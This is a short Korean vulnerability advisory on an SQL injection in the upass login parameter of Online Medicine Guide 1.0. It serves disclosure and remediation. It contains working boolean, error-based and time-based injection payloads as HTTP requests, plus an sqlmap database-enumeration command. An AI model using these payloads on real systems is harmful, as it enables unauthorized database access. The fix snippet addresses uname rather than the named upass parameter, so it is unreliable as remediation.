
code-projects Online Medicine Guide 1.0은 SQL 인젝션에 취약합니다.
이 문서는 온라인 의약품 가이드(Online Medicine Guide) 웹 애플리케이션에서 발견된 심각한 SQL 인젝션 취약점에 대해 설명합니다. 이 취약점은 승인되지 않은 데이터베이스 접근을 허용하며, 애플리케이션과 사용자에게 심각한 보안 위험을 초래합니다.
/login.php이 취약점은 /login.php 파일의 입력 검증 및 삭제(sanitization) 부족에서 비롯됩니다. 애플리케이션은 upass 매개변수의 사용자 입력을 적절한 삭제 처리나 준비된 문(prepared statements) 없이 SQL 쿼리에 직접 연결합니다.
기술적 근본 원인:
/login.phpupass (POST)POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
이 취약점은 sqlmap을 사용하여 확인되었습니다:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

upass 매개변수에 대한 입력 검증 구현수정 전 (취약):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
수정 후 (안전):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
문서 버전: 1.0
최종 업데이트: 2025년 3월 10일 (dd/mm/yyyy)